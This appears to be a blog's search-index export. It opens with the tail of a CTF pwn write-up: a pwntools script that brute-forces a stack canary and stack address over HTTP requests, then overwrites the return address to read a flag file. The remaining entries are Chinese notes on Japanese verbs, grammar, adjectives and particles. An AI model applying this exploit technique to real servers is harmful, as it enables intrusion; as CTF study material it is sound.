uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) canary = b\u0026#39;\\x00\u0026#39; stack = b\u0026#39;\u0026#39; def url_encode(data): if isinstance(data, str): data = data.encode() return \u0026#39;\u0026#39;.join(f\u0026#39;%{b:02x}\u0026#39; for b in data).encode() def build_req(method, path, headers=None, body=b\u0026#39;\u0026#39;): request = f\u0026#39;{method} {path} HTTP/1.1\\r\\n\u0026#39;.encode() if headers is None: headers = {} if body and \u0026#39;Content-Length\u0026#39; not in headers: headers[\u0026#39;Content-Length\u0026#39;] = len(body) for k, v in headers.items(): request += f\u0026#39;{k}: {v}\\r\\n\u0026#39;.encode() request += b\u0026#39;\\r\\n\u0026#39; request += body return request def config(name, ip, subnet_mask, gateway): global p p = conn() s(build_req(\u0026#39;POST\u0026#39;, \u0026#39;/config\u0026#39;, { \u0026#39;Cookie\u0026#39;: \u0026#39;token=\u0026#39; }, b\u0026#39;route_name=\u0026#39; + name + b\u0026#39;\u0026amp;ip=\u0026#39; + ip + b\u0026#39;\u0026amp;subnet_mask=\u0026#39; + subnet_mask + b\u0026#39;\u0026amp;gateway=\u0026#39; + gateway)) def explode_canary(): global p, canary for _ in range(7): for i in range(0x100): payload = b\u0026#39;A\u0026#39; * 0x28 + url_encode(canary + p8(i)) config(b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, payload) if b\u0026#39;500 Internal Server Error\u0026#39; not in ru(b\u0026#39;\\r\\n\\r\\n\u0026#39;): canary += p8(i) log.success(f\u0026#39;Found canary byte: {i:#x}\u0026#39;) p.close() break p.close() def explode_stack(): global p, stack for _ in range(6): for i in range(0x100): payload = b\u0026#39;A\u0026#39; * 0x28 + url_encode(p64(canary)) + b\u0026#39;A\u0026#39; * 0x10 + url_encode(stack + p8(i)) config(b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, payload) if b\u0026#39;500 Internal Server Error\u0026#39; not in ru(b\u0026#39;\\r\\n\\r\\n\u0026#39;): stack += p8(i) log.success(f\u0026#39;Found stack byte: {i:#x}\u0026#39;) p.close() break p.close() send_page_addr = 0x402BF1 explode_canary() canary = u64(canary) log.success(f\u0026#39;Leaked canary: {hex(canary)}\u0026#39;) explode_stack() stack = uu64(stack) - 0x170 log.success(f\u0026#39;Leaked stack address: {hex(stack)}\u0026#39;) pause() payload = b\u0026#39;A\u0026#39; * 0x28 + url_encode(p64(canary)) + b\u0026#39;A\u0026#39; * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(send_page_addr)) fake_stack = flat({ 0x00: stack + 0x20, 0x08: p32(200), 0x0C: p32(4), 0x10: b\u0026#39;flag\\x00\u0026#39;, }, filler=b\u0026#39;\\x00\u0026#39;) payload += url_encode(fake_stack) config(b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, b\u0026#39;\u0026#39;, payload) itr() ","date":"2026-04-22T18:04:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/contest/polarisctf-2026-pwn-wp/","title":"Polaris-2026-pwn 题解"},{"content":"第一部分：日语动词三大类型（五段、一段、变格） 日语动词按活用规律分为三类，区分关键在于词尾假名和倒数第二个假名。\n1. 一类动词（五段动词） 特征： 词尾在「う」段上（う、く、ぐ、す、つ、ぬ、ぶ、む、る）。 核心区分逻辑： 词尾是「る」的情况最难判断，请看下方规则。\n规则 A（肯定是一类）： 词尾不是「る」的所有动词。 例：書く（かく）、話す（はなす）、飛ぶ（とぶ）、飲む（のむ）。 规则 B（特殊情况）： 词尾是「る」，且倒数第二个假名不在「い段」或「え段」上（在あ、う、お段）。 例：帰る（かえる）、滑る（すべる）、減る（へる）。 注意：这里的「え」是词干一部分，不是词尾活用部分。 2. 二类动词（一段动词） 特征： 词尾一定是「る」，且倒数第二个假名必须是「い段」或「え段」假名。\n上一段（い段 + る）： 起きる（おきる）、見る（みる）、降りる（おりる）。 下一段（え段 + る）： 食べる（たべる）、寝る（ねる）、教える（おしえる）。 3. 三类动词（变格动词） 特征： 只有两个词，以及它们的复合词。\nカ变动词： 来る（くる）—— 仅此一个。 サ变动词： する（以及汉字词干 + する）。 例：勉強する、運転する、愛する。 第二部分：区分时的三大易错点（陷阱题） 这是考试和实际应用中最容易丢分的地方。\n陷阱类型 典型单词 错误判断 正确判断 鉴别口诀 1. 伪装成二类的一类 帰る（かえる） え段+る？二类？ 一类 要（い）らない、走（はし）らない 切る（きる） い段+る？二类？ 一类 入（はい）らない 知る（しる） い段+る？二类？ 一类 滑（すべ）らない 入る（はいる） い段+る？二类？ 一类 大部分あ段+る的也是：ある、やる 2. 伪装成一类的二类 見る（みる） 看上去短，像一类 二类 这类词很少，死记：見る、着る、似る、煮る、射る、居る 寝る（ねる） え段+る 二类 3. 特殊的サ变 愛する 看起来像 愛＋する 三类（但有时按五段活） 书面语按サ变（愛せず），口语常按五段（愛さない）。 避坑核心方法： 遇到「～る」结尾的词，先试变「ない形」。\n如果变成 「あ段 + ない」（例：帰らない）→ 一类。 如果变成 「去掉る + ない」（例：食べない）→ 二类。 第三部分：动词各种变形全览表 以下以三类代表动词为例：\n一类代表： 書く（kaku） 二类代表： 食べる（taberu） 三类代表： する / 来る（kuru） 1. 连用形（ます形）- 最基础礼貌体 类型 变形方式 例（書く/食べる/する/来る） 易错点 一类 词尾う段 → い段 + ます 書きます (kakimasu) 注意浊音变化：泳ぐ → 泳**ぎ**ます 二类 去掉词尾る + ます 食べます (tabemasu) 常见错误：食べります ❌ (画蛇添足) 三类 する → します\n来る → 来（き）ます 勉強します 来ます 读音是 kimasu，不是 kumasu 2. ない形（否定形） 类型 变形方式 例（書く/食べる/する/来る） 易错点 一类 词尾う段 → あ段 + ない 書かない (kakanai) 特殊： 词尾是「う」时，变成「わない」。\n例：買う → 買わない（不是 買あない ❌）\n特殊： ある → ない（不是 あらない） 二类 去掉词尾る + ない 食べない 极少出错，注意区分伪装一类即可。 三类 する → しない\n来る → 来（こ）ない 勉強しない 来ない 读音是 konai，特殊的「こ」音。 3. て形 / た形（连接与过去式） 一类动词最难的部分，必须按词尾发音死记（借助口诀歌）。\n原词尾 て/た形变化 例（ます形 → て形） 口诀助记 う、つ、る って / った 買います → 買って\n待ちます → 待って\n帰ります → 帰って うつる、促音便 ぬ、ぶ、む んで / んだ 死にます → 死んで\n遊びます → 遊んで\n読みます → 読んで ぬぶむ、拨音便\n(要浊化变成 で/だ) く いて / いた 書きます → 書いて 行く是唯一例外：行って ぐ いで / いだ 泳ぎます → 泳いで く变い，但接浊音で す して / した 話します → 話して 没有音便，直接变し 二类 去る + て/た 食べます → 食べて 三类 して / した\n来て / 来た します → して\n来ます → 来て (kite) 4. 可能形（能～ / 会～） 类型 变形方式 例 易错点 一类 词尾う段 → え段 + る 書く → 書ける 这一段活用后的词，全是二类动词。\n例：書ける（二类）→ 書けます / 書けない 二类 去る + られる 食べる → 食べられる 口语中常省略「ら」→ 食べれる（ら抜き言葉）\n考试中不省略才得分。 三类 する → できる\n来る → 来（こ）られる 勉強できる できる是特殊完全替换。\n来られる 口语中常省略为 来れる。 5. 被动 / 尊敬形 类型 变形方式 例 易错点 一类 词尾う段 → あ段 + れる 書く → 書かれる 同「ない形」规律，買う→`買われる 二类 去る + られる 食べる → 食べられる 形态与可能形完全一致！只能靠上下文判断。\n例：食べられる = 能吃？ 被吃？ 尊敬吃？ 三类 する → される\n来る → 来（こ）られる 愛する → 愛される 注意「される」是强制的、不好的语气居多。 6. 使役形（让～ / 叫～） 类型 变形方式 例 易错点 一类 词尾う段 → あ段 + せる 書く → 書かせる 同「ない形」规律，買う→`買わせる 二类 去る + させる 食べる → 食べさせる 口语中常简化为：食べさす（不规范但常见） 三类 する → させる\n来る → 来（こ）させる 勉強させる 记住「来させる」的读音「ko-saseru」。 7. 意志形（Volitional Form）- 让我们～吧 / 想～ 类型 变形方式 例 易错点 一类 词尾う段 → お段 + う 書く → 書こう\n待つ → 待とう 长音规则：お段+う，读长音 oo。 二类 去る + よう 食べる → 食べよう 不要和一类混，这里用 よう。 三类 する → しよう\n来る → 来（こ）よう 勉強しよう 来よう 读音 koyou。 8. 假定形（ば形） 类型 变形方式 例 易错点 一类 词尾う段 → え段 + ば 書く → 書けば 规律同可能形词干，只要会变「け」，加「ば」即可。 二类 去る + れば 食べる → 食べれば 注意是「れば」，不是「れば」中的「れ」重复。\n常见错误：食べれれば ❌ 三类 する → すれば\n来る → 来（く）れば 勉強すれば 来れば 读音 kureba (这里是ku，不是ko)。 9. 命令形（生硬命令，仅限看动漫/标语） 类型 变形方式 例 备注 一类 词尾う段 → え段 書く → 書け\n待つ → 待て 无需加任何东西，单用え段。 二类 去る + ろ / よ 食べる → 食べろ / 食べよ 书面语用「よ」，口语用「ろ」。 三类 する → しろ / せよ\n来る → 来（こ）い 勉強しろ 来い 读音 koi。 总结建议 分类靠「ない形」验证：遇到生词，脑子里默念一遍ない形，马上知道是一类还是二类。 变形靠「うつる、むぶぬ」口诀：て形是口语流畅度的关键，这六个词尾的音变必须形成肌肉记忆。 注意「られる」三胞胎：二类动词的「食べられる」，需要结合助词「が」「に」区分它是可能、被动还是尊敬。 ","date":"2026-04-22T10:48:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/japan/verb-type-summary/","title":"日语动词类型整理"},{"content":"📚 《大家的日语》初级1 语法知识点 课次 主要语法点 例句 第1课 1. 名词判断句：～は～です (是…) 2. 否定形式：～は～ではありません (不是…) 3. 疑问句：～は～ですか (是…吗？) 4. 所属/同位：～も～です (也是…) 5. 所属/同位：～の～ (的/名词修饰) わたしは 学生です。(我是学生。)\nかれは 学生ではありません。(他不是学生。)\nあなたは 学生ですか。(你是学生吗？)\nかれも 学生です。(他也是学生。)\nわたしの 本です。(我的书。) 第2课 1. 事物指示：これ/それ/あれ (这个/那个/那个) 2. 疑问词：どれ (哪个) 3. 名词链接：～の～ (表示内容/所属) これは 本です。(这是书。)\nそれは 何ですか。(那是什么？)\nあの 辞書は わたしのです。(那本词典是我的。) 第3课 1. 地点指示：ここ/そこ/あそこ (这里/那里/那里) 2. 疑问词：どこ (哪里) 3. 价格：～は いくらですか (多少钱) 4. 国家/产地：～の くに/～せい (…的国家/…制造) ここは 教室です。(这里是教室。)\nトイレは どこですか。(卫生间在哪里？)\nこれは いくらですか。(这个多少钱？)\nこれは 日本の 車です。(这是日本车。) 第4课 1. 时间表达：～時に (在…点) 2. 时段表达：～から～まで (从…到…) 3. 动词ます形：～ます (做…) 4. 否定形式：～ません (不做…) 5. 过去形式：～ました (做了…) 6. 过去否定：～ませんでした (没做…) 7時に 起きます。(7点起床。)\n9時から 5時まで 働きます。(从9点到5点工作。)\nあした 休みます。(明天休息。) 第5课 1. 方向助词：～へ (去/往…) 2. 交通方式：～で (乘坐…) 3. 同伴：～と (和…一起) 4. 移动动词：行きます/来ます/帰ります (去/来/回) 5. 疑问词：いつ (什么时候) 日本へ 行きます。(去日本。)\nバスで 学校へ 行きます。(坐公交去学校。)\n友達と 帰ります。(和朋友一起回去。) 第6课 1. 动作地点：～で ～ます (在…做…) 2. 动作对象：～を ～ます (做…/把…) 3. 邀请/提议：～ませんか/～ましょう (不…吗？/做…吧) 4. 动作顺序：～てから (…之后) 図書館で 勉強します。(在图书馆学习。)\nコーヒーを 飲みます。(喝咖啡。)\n一緒に 行きませんか。(一起去好吗？)\n映画を 見ましょう。(看电影吧。) 第7课 1. 方法/手段：～で (用…) 2. 授受动词：あげます (给)/もらいます (得到) 3. 动作对象：～に あげます/もらいます (给…/从…得到) はしで 食べます。(用筷子吃。)\nわたしは 山田さんに 花を あげます。(我给山田花。)\nわたしは 山田さんに 花を もらいます。(我从山田那得到花。) 第8课 1. 形容词/形容动词现在肯定：～いです/～です (是…的) 2. 现在否定：～くないです/～ではありません (不…/不是…) 3. 过去形式：～かったです/～でした (曾经…/是…的) 4. 过去否定：～くなかったです/～ではありませんでした 5. 陈述理由：～が (表示转折/顺接) この 料理は おいしいです。(这道菜很好吃。)\nこの 町は にぎやかです。(这个城市很热闹。)\nきのうは さむくなかったです。(昨天不冷。) 第9课 1. 能力/喜好：～が できます/好きです/上手です (会…/喜欢…/擅长…) 2. 理由说明：～から (因为…) 3. 存在文：～に ～が あります/います (在…有…) わたしは 日本語が わかります。(我懂日语。)\nあそこに コンビニが あります。(那里有便利店。) 第10课 1. 存在句：～は ～に あります/います (位于…) 2. 位置关系词：うえ/した/まえ/うしろ/なか/そと/となり/ちかく (上/下/前/后/里/外/旁边/附近) 3. 列举：～や～など (…和…等) 本は つくえの うえに あります。(书在桌子上。)\n部屋に ベッドや テーブルなどが あります。(房间里有床、桌子等。) 第11课 1. 数量词：位置、询问方式、概数 (使用「くらい」)。表示时间的长度用「どのくらい」。 りんごを 三つ ください。(请给我三个苹果。)\nこの かいぎは 二時間ぐらい かかります。(这个会议要开两个小时左右。) 第12课 1. 形容词/名词过去式：でした/かったです\n2. 比较：～より～の ほうが～ (A比B更…)\n3. 最高级：～の なかで～が いちばん～ (在…中，…最…) きのうは 雨でした。(昨天下雨。)\n日本より 中国の ほうが 広いです。(和日本相比，中国更大。)\nクラスで 李さんが いちばん 高いです。(班里小李最高。) 第13课 1. 表达愿望：～が ほしいです (想要…) / ～たいです (想做…)\n2. 目的：～に 行きます/来ます (去/来做…) 3. 描述：形容词/形容动词修饰名词 新しい 車が ほしいです。(想要新车。)\n日本へ 旅行に 行きたいです。(想去日本旅行。)\nこれは おいしい ケーキです。(这是美味的蛋糕。) 第14课 1. 动词て形\n2. 请求：～てください (请…)\n3. 正在进行：～ています (正在…)\n4. 连接：～て、～ (连接动词或句子)\n5. 状态：～ています (表示状态的持续，如「結婚しています」) ちょっと 待ってください。(请等一下。)\n今、新聞を 読んでいます。(现在正在看报纸。)\n朝ごはんを 食べて、学校へ 行きます。(吃完早饭去学校。) 第15课 1. 许可：～ても いいです (可以…)\n2. 禁止：～ては いけません (不能…)\n3. 动作完成/结果状态：～ています (如「もう 帰りました」) 写真を とっても いいですか。(可以拍照吗？)\nここで たばこを すっては いけません。(不能在这里吸烟。) 第16课 1. 动作先后：～てから (…之后)\n2. 客观变化：～くなります/になります (变得…)\n3. 主观改变：～くします/にします (使之变得…) 仕事が 終わってから、飲みに 行きます。(工作结束后去喝酒。)\nこれから だんだん さむくなります。(今后会逐渐变冷。) 第17课 1. 动词ない形 (否定形)\n2. 否定请求：～ないでください (请不要…)\n3. 义务/必须：～なければ なりません (必须…)\n4. 许可（否定）：～なくても いいです (不…也可以) ここで 写真を とらないでください。(请不要在这里拍照。)\nレポートを 出さなければ なりません。(必须提交报告。) 第18课 1. 动词辞书形 (原形)\n2. 能力/可能/爱好：辞书形 + ことが できます/趣味です (能做…/爱好是…) 3. 动作前：辞书形 + まえに (在…之前) わたしは 日本語を 話すことが できます。(我会说日语。)\n毎朝、朝ごはんを 食べるまえに、コーヒーを 飲みます。(每天早上，吃饭之前会喝咖啡。) 第19课 1. 动词た形\n2. 经历：～たことが あります (有过…经验)\n3. 建议/劝告：～たり、～たりします (又…又…/时而…时而…) 4. 客观变化：～く/に なります (变得…) 富士山に のぼったことが あります。(爬过富士山。)\n日曜日は、本を 読んだり、テレビを 見たりします。(星期天，有时看看书，有时看看电视。) 第20课 1. 简体形（普通形）：动词/形容词/名词/形容动词的简体现在/过去，肯定/否定形式 明日、映画を 見る？(明天看电影吗？) うん、見る。(嗯，看。) 第21课 1. 简体句 + と思う：表达个人想法和判断\n2. 简体句 + と言う：表示引用「～と言います」\n3. 发生/举行：名词(地点) + で + 名词が あります わたしは 明日 雨が ふると 思います。(我想明天会下雨。) 田中さんは 来週 休みたいと 言いました。(田中说下周想休息。)\n東京で オリンピックが あります。(东京将举办奥运会。) 第22课 1. 连体修饰：用简体句修饰名词 これは 母が 作った ケーキです。(这是妈妈做的蛋糕。) あそこに いる 人は 李さんです。(在那边的那个人是小李。) 第23课 1. 条件/契机：～と (一…就…) / ～とき (…的时候) この ボタンを おすと、おつりが 出ます。(一按这个按钮，零钱就会出来。)\n暇な とき、本を 読みます。(有空的时候看书。) 第24课 1. 授受动词的用法区分：\n- あげる (我方给出去)\n- もらう (我方得到)\n- くれる (别人给我或我方) わたしは 山田さんに 花を あげました。(我把花给了山田。)\n山田さんが わたしに 花を くれました。(山田把花给了我。) 第25课 1. 假定条件：～たら (如果…)\n2. 顺接条件：～ても (即使…也…) もし お金が あったら、旅行に 行きたいです。(如果有钱，想去旅行。)\n雨が ふっても、出かけます。(即使下雨，也要出门。) ","date":"2026-04-22T10:48:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/japan/textbook-summary/","title":"日语教材语法整理"},{"content":"第一部分：日语形容词的两大类型 日语的形容词根据词尾变化，分为 イ形容词（形容词） 和 ナ形容词（形容动词）。\n1. イ形容词（一类形容词） 具体特征：\n基本形词尾：最后一个假名都是 「い」。 词干：去掉词尾「い」剩下的部分。 修饰名词：直接加名词。 例：高い山（高い + 山） 时态/否定变化：词尾「い」自身发生活用（变化）。 语法性质：本身就包含“时态”和“肯定/否定”的概念，可以单独结句。 2. ナ形容词（二类形容词/形容动词） 具体特征：\n基本形词尾：词干 + 「だ」（简体）或 「です」（敬体）。词典和教材通常只列词干，不列词尾。 词干：不是以「い」结尾，或者以「い」结尾但非活用词尾。 修饰名词：词干 + 「な」 + 名词。 例：静かな町（静か + な + 町） 时态/否定变化：靠词尾「だ/です」变化，词干永远不变。 语法性质：自身不包含时态等概念，必须借助「だ/です」等来结句。 3. 如何区分イ形容词和ナ形容词 这是最容易出错的地方，不是看词义，而是看语法功能。\n区分点 イ形容词 ナ形容词 基本形结尾 均为假名「い」 不以「い」结尾为主，但也有以「い」结尾的例外 修饰名词 直接修饰（+ N） 加 「な」 修饰（+ な + N） 敬体结句 直接加です 去だ加です 否定/过去 词尾 「い」 变形 词尾 「だ/です」 变形 4. 核心致错点：以「い」结尾的ナ形容词 这是区分两类词的最大难点。很多以「い」结尾的词其实是ナ形容词，必须硬背。\n常见易错ナ形容词（以「い」结尾） 含义 正确修饰（+な） 错误修饰（×直接加名词） きれい 漂亮、干净 きれいな花 × きれい花 有名（ゆうめい） 有名 有名な人 × 有名い人 嫌い（きらい） 讨厌 嫌いな食べ物 × 嫌い食べ物 得意（とくい） 擅长 得意な科目 × 得意い科目 苦手（にがて） 不擅长 苦手なこと × 苦手こと 幸せ（しあわせ） 幸福 幸せな家庭 × 幸せ家庭 如何识别？ 如果汉字的发音包含「い」，如上表「きれい（綺麗）」「ゆうめい（有名）」，其「い」是汉字读音的一部分，不是活用词尾，所以这类词是ナ形容词。\n第二部分：形容词的各种变形 变形是建立在イ形容词词干和ナ形容词词干基础上的。\n1. 敬体与简体 形容词本身有活用，加上「です」只是为了敬体表达。ナ形容词则完全依赖「です/だ」的活用。\n类型 简体（普通体） 敬体（礼貌体） イ形容词 词本身 + だ（通常省略）\n（高い/高いだ） 词基本形 + です\n（高いです） ナ形容词 词干 + だ\n（静かだ） 词干 + です\n（静かです） 致错点： イ形容词直接加「だ」在现代日语中常被看作不自然或男性化的粗暴语气，标准简体直接结句即可（高い。）。\n2. 否定形（ない形） 类型 变形方式 简体 敬体 イ形容词 词干 + く + ない 高くない 高くないです / 高くありません ナ形容词 词干 + ではない\n/ じゃない 静かではない\n静かじゃない 静かではないです\n静かじゃありません 致错点：\nイ形容词：最典型错误是忘变「く」——× 高いない（正确：高くない）。 ナ形容词：容易忘加「では/じゃ」，直接连接词干和「ない」——× 静かない。 3. 过去形（た形） 类型 变形方式 简体 敬体 イ形容词 词干 + かった 高かった 高かったです ナ形容词 词干 + だった 静かだった 静かでした 致错点：\nイ形容词：切记特殊音变「い」→「かっ」。常见错误是把过去助动词「た」直接接在词干后——× 高いた（正确：高かった）。 ナ形容词：敬体时「です」变「でした」，不要画蛇添足成 静かでしただった。 4. 过去否定形（なかった形） 将否定形中的「ない」变成其过去式「なかった」。\n类型 变形方式 简体 敬体 イ形容词 词干 + く + なかった 高くなかった 高くなかったです ナ形容词 词干 + では/じゃ + なかった 静かではなかった\n静かじゃなかった 静かではありませんでした\n静かじゃなかったです 致错点： 主要是长形结构的顺序。ナ形容词敬体 静かではありませんでした 结构固定，如果说不熟练就容易混淆「では」「あり」「ません」「でした」的顺序。\n5. て形（连接形） 用于连接多个形容词、表示原因、请求等。\n类型 变形方式 示例 含义 イ形容词 词干 + く + て 高くて\n広くて 又高又大 ナ形容词 词干 + で 静かで\n元気で 又安静又漂亮 特殊变形 いい → よくて よくて安い 又好又便宜 致错点：\nイ形容词和ナ形容词的て形绝对不要混淆：イ形容词用「くて」，ナ形容词用「で」。典型错误：静かくて、高いで。 「いい」的变形：必须变成「よくて」，直接变成 いくて 是错的。 6. ば形 / 假定形 表示假设，“如果……的话”。\n类型 变形方式 示例 含义 イ形容词 词干 + けれ + ば 高ければ\n安ければ 如果贵的话 / 便宜的话 ナ形容词 词干 + なら（ば） 静かなら（ば）\n元気なら（ば） 如果安静的话 特殊变形 いい → よければ よければ、どうぞ 可以的话，请 致错点：\nイ形容词用「ければ」，ナ形容词多用「なら」，分工明确。不可将「なら」直接接在イ形容词后，如“高いなら”虽在口语中有用例，但规范语法中是“高ければ”。 再次注意「いい」→「よければ」。 7. 连用形作副词 形容词修饰动词时，需变成副词形式。\n类型 变形方式 示例 含义 イ形容词 词干 + く 速く走る\n美味しく作る 快跑 / 做得好吃 ナ形容词 词干 + に 静かに話す\n元気に遊ぶ 安静地说 / 精力充沛地玩 易错点：将修饰名词的「な」和副词化的「に」混淆。 修饰名词用「な」，修饰动词则用「に」。\n○ 静かな部屋（安静的房间） ○ 静かに寝る（安静地睡觉） × 静かな寝る 8. 名词化 形容词转变为名词形式。\n类型 变形方式 示例 含义 イ形容词 词干 + さ 高さ\n美味しさ 高度 / 美味程度 ナ形容词 词干 + さ 静かさ\n便利さ 安静程度 / 方便程度 致错点： 两类词的名词化都用「さ」，相对统一，不易错。注意イ形容词词干要去掉「い」。\n9. 补充：复合形容词变形（敬体否定过去等长串形式） 这一部分是把前述内容组合起来，但变形规则本身不改变。\n以イ形容词「高い」为例（敬体）\n形式 日语 构成逻辑 肯定非过去 高いです 词基本形 + です 否定非过去 高くないです / 高くありません 词干＋く＋ない＋です 肯定过去 高かったです 词干＋かった＋です 否定过去 高くなかったです / 高くありませんでした 词干＋く＋なかった＋です 以ナ形容词「静か」为例（敬体）\n形式 日语 构成逻辑 肯定非过去 静かです 词干 + です 否定非过去 静かではありません\n静かじゃないです 词干 + ではない + ます 肯定过去 静かでした 词干 + でした 否定过去 静かではありませんでした\n静かじゃなかったです 词干 + ではない + 过去 通过对比可以看出：\nイ形容词的变形体现在词尾「い」上。 ナ形容词的词干自身永不变形，所有语法功能由「だ/です」体系承担。 ","date":"2026-04-22T10:48:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/japan/adjective-summary/","title":"日语形容词类型整理"},{"content":"助词分类 日语助词可以按“语法功能”分成几大核心场景，记住每个助词的核心任务比死记硬背更有效。\n一、提示主题与主语：は vs が 这是日语的核心难点，区别在于“想强调什么”。\nは（主题/对比）\n提示主题：对已知或共通话题进行说明。“关于A，它是B。” 私は学生です。（关于我，是学生。） 表示对比：强调与其他不同，常读重音。 日本語は好きだが、数学は嫌いだ。（喜欢日语，但讨厌数学。） が（主语/排他）\n提示主语：描述眼前现象，主语常是未知或新信息。 雨が降っている。（下雨了。） 排他/焦点：回答疑问词或强调“正是这个”。 どの方が先生ですか？——あの方が先生です。（哪位是老师？——那位是。） 二、表达动作的着落点与动态 を\n动作对象：接他动词前，表宾语。 本を読む。（读书。） 离开/经过的场所：接移动动词。 家を出る / 公園を散歩する。（离开家 / 在公园散步。） に\n存在场所：静态存在的地点。 机の上に本がある。（桌上有个书。） 动作归着点/目的地：到某个目标。 東京に行く / 電車に乗る。（去东京 / 上电车。） 对象：单方面给予或被动施动者。 友達にプレゼントをあげる / 先生に叱られた。（给朋友礼物 / 被老师批评。） 时间点：动作发生的具体时刻。 7時に起きる。（7点起床。） で\n动作发生场所：动态活动的地点。 図書館で勉強する。（在图书馆学习。） 方法/手段/材料：“凭借……” バスで行く / 木で机を作る。（坐公交去 / 用木头做桌子。） 原因/理由：多指客观、突发原因。 大雨で電車が止まった。（因大雨电车停了。） 范围/主体样态：动作主体的数量或状态。 みんなで歌う / 一人で住む。（大家一起唱 / 一个人住。） 三、表示手段、方向与起点/终点 へ（动作方向）\n比“に”更突出方向，“往……”。 南へ進む。（向南前进。） から（起点/原料/原因）\n起点：从某处或某人开始。 学校から帰る / 先生から聞いた。（从学校回来 / 从老师那听说的。） 原料：看不出原形的化学变化。 ワインはブドウから作られる。（葡萄酒用葡萄酿的。） まで（终点/范围）\n“到……为止”，常与“から”搭配。 9時から5時まで働く。（从9点干到5点。） 四、连接名词：と・や・の と（完全并列）：A和B，全部列举。\n机の上に本とペンがある。（桌上有书和笔。） や（不完全举例）：A和B等等，暗示还有其他。\n机の上に本やペンがある。（桌上有书啊笔啊之类的。） の（修饰/所属/同位）：“的”或其用法。\n私の本 / 友達の田中さん.（我的书 / 朋友田中。） 五、限定、添加与语气 も（也/强调数量极端）\n彼も行く。（他也去。） 3時間も待った。（足足等了3小时。） しか（否定式限定）：后接否定，“只……”\n100円しかない。（只有100日元。） だけ（肯定式限定）：“仅仅/只”，不强制接否定。\nあなただけを愛してる。（只爱你。） など/なんか（举例/轻视/自谦）\n和食などが好きだ。（喜欢日料之类的。） 私なんか無理だ。（我这种人不行。） ね（确认/共鸣）\nいい天気ですね。（真是好天气啊。） よ（告知/强调）\n危ないよ！（危险啊！） 「は」和「が」 我们把「は」和「が」拆开揉碎了看。它们的区别，本质上是**“说话人的关注点”不同**。\n你可以先记住两个画面：\nは ＝ 拿出一张标签，贴在一个事物上，对它进行说明。已知事物＋新信息。 が ＝ 用镜头对准一个事物，直接报告你看到、听到的现象。新事物／焦点＋描述。 一、新信息与旧信息：第一次用「が」，第二次用「は」 这是最经典的规则，用于引入话题。\n初次登场用「が」：听者不知道的人或物突然出现。\n昔々、おじいさんとおばあさんがいました。おじいさんは山へ芝刈りに、おばあさんは川へ洗濯に行きました。 （从前有个老爷爷和一个老奶奶。老爷爷去山里砍柴，老奶奶去河边洗衣服。） 先告诉你“存在”这两个人（が），等大家都知道了，他们就成了话题，用「は」去说明他们做了什么。 眼前现象用「が」：你在描述你五官直接捕捉到的即时信息。\nあ、バスが来た。 （啊，公交车来了。你看到了，直接报告这个画面。） 如果用 バスは来た，就变成“关于公交车，（它）来了”，带有对比或刻意提出话题的感觉，比如“我等的别的车没来，公交车倒是来了”。 二、描写句 vs 判断句：眼前的「が」，恒常的「は」 が 描写眼前的、具体的场景\n月がきれいですね。 （今晚的月亮真美啊。）你的视线直接看着月亮，说出你的感受。这是发现美、报告眼前的景象。 花が咲いている。 （花开了，眼前所见。） は 陈述真理、习惯、一般性质\n月はきれいです。 （月亮是很美的东西。）你在谈论“月亮”这个种类的一般特性，不是特指今晚看到的。 花は美しいものだ。 （花是美丽的事物。） 三、疑问词：必用「が」问，必用「が」答 这是最刚性的语法规则，因为疑问词是信息的绝对焦点，不能当旧话题。\n问：誰がリーダーですか？ （谁——是领导？） 答：私がリーダーです。 （我——就是领导。） 这里的「が」是 “排他性焦点”，意思是“不是别人，正是我”。 对比：\n私はリーダーです。 （关于我，我是领导。） 这是在说明我的身份，不是回答“是谁”的问题。别人可能早就在聊你，现在给你贴上“领导”的标签。 四、大主语与小主语：象は鼻が長い 这是「は」和「が」非常经典的共现结构。\n象は鼻が長い。\n大主题「象は」：“关于大象这种动物，我想说说它。” 小主语「鼻が」：“它的鼻子是长的。” 这种「～は～が～」的结构用来描述一个事物的属性或状态。其他例子： 彼は背が高い。 （他个子高。） 日本は物価が高い。 （关于日本，物价高。） 五、对比的「は」 vs 排他的「が」 这两者的交错容易让人混淆。\n对比的「は」：加在原来该用「が／を」的地方，暗示与别不同。\nお酒は飲みますか？ （你喝酒吗？）对比暗示：茶和咖啡呢？刻意把“酒”拎出来问。 对比正常问法：お酒を飲みますか？（只是询问喝不喝。） 排他的「が」：就是“只有它，不是其他”。\n私がやります！ （我来做！）暗含：不是让别人做，就是由我来。 これが欲しい。 （我想要的就是这个。）不是别的，就它。 六、从句中的「が」倾向 在修饰名词的定语从句中，主语倾向用「が」。\nこれは母が作ったケーキです。 （这是妈妈做的蛋糕。） 从句“妈妈做”的主语用「が」很自然。 如果用「は」，会变成大主题对比。 母は作ったケーキです 会不自然，因为「は」的对比性会割裂句子。 但当从句中需要对比时，可以用「は」：\n私は好きな音楽、彼は嫌いな音楽。 （我喜欢的音乐，他讨厌的音乐。） 七、场景辨识：谁来当“田中先生”？ 想象一个场景，大家不知道田中是谁，负责人问：\n田中さんはどなたですか？ （田中先生是哪位？）这里“田中先生”是已知话题，问的是对应的人。 田中本人举手：私が田中です。 （我就是田中。） 用「が」指认出自己。 但如果有人介绍：\nこちらは田中さんです。 （这位是田中先生。） 把眼前这位用「は」当作话题呈现。 总结对比表 场景 は (主题) が (主语) 初次登场 一般不用于首次引入 昔々、おばあさんが… 眼前描写 不自然 雨が降っている 一般性质 地球は丸い 很少用 疑问词问答 不可 どれが安い？ 对比/排他 酒は飲まない (对比) これがいい (排他) 从句主语 带对比意 母が作った料理 表示属性 大主题 小主语：象は鼻が長い 底层心法：\n想谈论一个已经存在于彼此意识中的事物，并对它追加信息 → 用 は。 想直接指认出、报告出或强调一个从混沌中出现的事物/焦点 → 用 が。 